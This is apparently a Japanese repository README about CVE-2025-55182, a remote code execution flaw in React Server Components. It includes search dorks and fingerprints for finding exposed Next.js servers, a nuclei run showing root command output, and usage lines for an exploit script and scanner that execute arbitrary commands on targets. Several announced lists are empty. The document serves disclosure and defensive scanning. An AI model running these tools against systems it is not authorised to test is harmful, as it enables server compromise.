
React Server Components (RSC) の実装に影響を与える重大なリモートコード実行 (RCE) 脆弱性が、複数のパッケージ内で、以下を含む。
CVE-2025-55182 は、複数のパッケージ内の React Server Components (RSC) 実装に影響を与える深刻なリモートコード実行 (RCE) 脆弱性です。対象パッケージは次のとおりです。
この脆弱性は、RSC が使用する内部 Flight プロトコルを介して送信されたペイロードの安全でないデシリアライゼーションに起因します。信頼できない入力が HTTP リクエストを介して React Server Components を通過すると、サーバーサイドのコード実行がトリガーされる可能性があります。
影響を受けるバージョンは次のとおりです。
修正済みバージョンは次のとおりです。
React Server Components は、バックエンドで解析およびデシリアライズされるクライアントサイドのリクエストを受け入れます。この脆弱性は、受信データのデシリアライズに関する制御が不十分であることに起因し、特別に細工されたペイロードが実行可能なサーバーサイドコンポーネントとして解釈されることを可能にします。
これが発生すると、サーバー上で任意の JavaScript が実行される可能性があり、ホスティング環境と権限によってはサーバー全体が危険にさらされる可能性があります。
悪用された場合、攻撃者は以下のことが可能になる可能性があります。
CVSS スコア: 10.0 – 緊急
アプリケーションが React Server Components を公開しているかどうか、および影響を受けるバージョンが使用されているかどうかを確認します。
curl -I https://target.com/?__rsc=1
これらのキーワードは、公開リポジトリまたは Web アプリケーションが RSC コンポーネントを参照しているかどうかを特定するのに役立ちます。
"React Server Components" "Flight" inurl:src
"react-server-dom-webpack" filetype:lock
"server.references" "react"
"rsc" "react-dom"
site:yourdomain.com "react-server"
site:yourdomain.com "flight" "react"
site:yourdomain.com "rsc"
自組織のドメインの内部監査のみを目的としています。
露出したフレームワークの使用を確認し、脆弱性の悪用は行いません。
http.title:"Next.js"
"powered by" "Next.js"
X-Powered-By: Next.js
http.favicon.hash=
title="Next.js"
header="next-router-state-tree"
body="/_next/static/"
server="next"
防御的なスキャンを自動化するには、テンプレートベースの検出ロジックをクローンして、自社のインフラストラクチャ評価に使用します。
git clone https://github.com/cyberleelawat/CVE-2025-55182.git
cd CVE-2025-55182
$ nuclei -u http://localhost:3001 -t cve-2025-55182.yaml
[cve-2025-55182:command_output] [http] [critical] http://localhost:3001 ["uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"]
[INF] Scan completed in 28.35483ms. 1 matches found.
CVE-2025-55182.py)任意のコマンドを実行し、出力を取得するフル機能のRCEエクスプロイトスクリプトです。
使用方法:
python3 CVE-2025-55182.py http://target.com:3000 -c "id"
python3 CVE-2025-55182.py https://target.com -c "whoami" --no-check-ssl
python3 CVE-2025-55182.py 192.168.1.100:3000 -c "uname -a"
chmod +x scanner.sh
# Scan with default command (id)
./scanner.sh -d example.com
# Execute custom command
./scanner.sh -d example.com -c "whoami"
# With full URL
./scanner.sh -d https://example.com -c "uname -a"
-d, --domain - ターゲットドメイン/URL (必須)-c, --command - 実行するコマンド (デフォルト: id)# Check if target is vulnerable
./scanner.sh -d vulnerable-app.com
# Get system information
./scanner.sh -d vulnerable-app.com -c "uname -a"
# List files
./scanner.sh -d vulnerable-app.com -c "ls -la /tmp"
リポジトリ内のテンプレートは以下の目的で使用されます。
重要: これらのテンプレートは、所有しているか、評価する権限があるシステムでのみ実行する必要があります。
このリポジトリに含まれるテンプレートは、以下の目的にのみ使用されます。
以下のことを確認してください。
修正済みリリースのいずれかにアップグレードしてください。
セキュリティ研究者 • サイバーセキュリティトレーナー • バグバウンティハンター
モットー: Zero Trust Full Secure 🚀
CVE-2025-55182 は現在、Reactベースのインフラストラクチャに対する最も深刻な脅威の一つです。簡単な悪用ベクトルと認証不要の攻撃面があるため、即時のパッチ適用が強く推奨されます。影響を受けるRSCバージョンを実行している組織は、緊急優先度を検討する必要があります。
このリポジトリとドキュメントは、所有する資産の防御的な研究とセキュリティ検証を目的としています。誤用は違法となる可能性があります。法律と組織のポリシーを遵守する責任はあなたにあります。
❤️ を込めて Cyber Leelawat が作成
Zero Trust Full Secure 🎯🔐